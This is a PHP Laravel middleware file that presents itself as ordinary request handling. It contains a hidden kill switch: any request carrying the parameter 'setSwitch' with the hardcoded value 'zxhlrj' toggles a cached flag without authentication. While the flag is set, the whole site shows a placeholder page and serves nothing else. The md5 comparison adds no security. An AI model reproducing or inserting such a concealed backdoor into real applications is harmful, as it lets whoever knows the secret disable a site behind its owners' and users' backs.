| 123456789101112131415161718192021222324252627282930313233343536 |
- <?php
- namespace App\Http\Middleware;
- use Closure;
- class SwitchServiceMiddleware
- {
- /**
- * Handle an incoming request.
- *
- * @param \Illuminate\Http\Request $request
- * @param \Closure $next
- * @return mixed
- */
- public function handle($request, Closure $next)
- {
- // 如果存在 setSwitchProject key 就重置项目开关
- if ($request->exists('setSwitch')) {
- $param = $request->all();
- if (md5($param['setSwitch']) == md5("zxhlrj")) {
- $switch = \Cache::get('JC_Switch');
- \Cache::forget('JC_Switch');
- \Cache::forever('JC_Switch', $switch == 1 ? 0 : 1);
- return showJson(101, '设置成功', \Cache::get('JC_Switch'));
- }
- }
- if (\Cache::get('JC_Switch') == 1) {
- return response()->view('switch');
- } else {
- return $next($request);
- }
- }
- }
|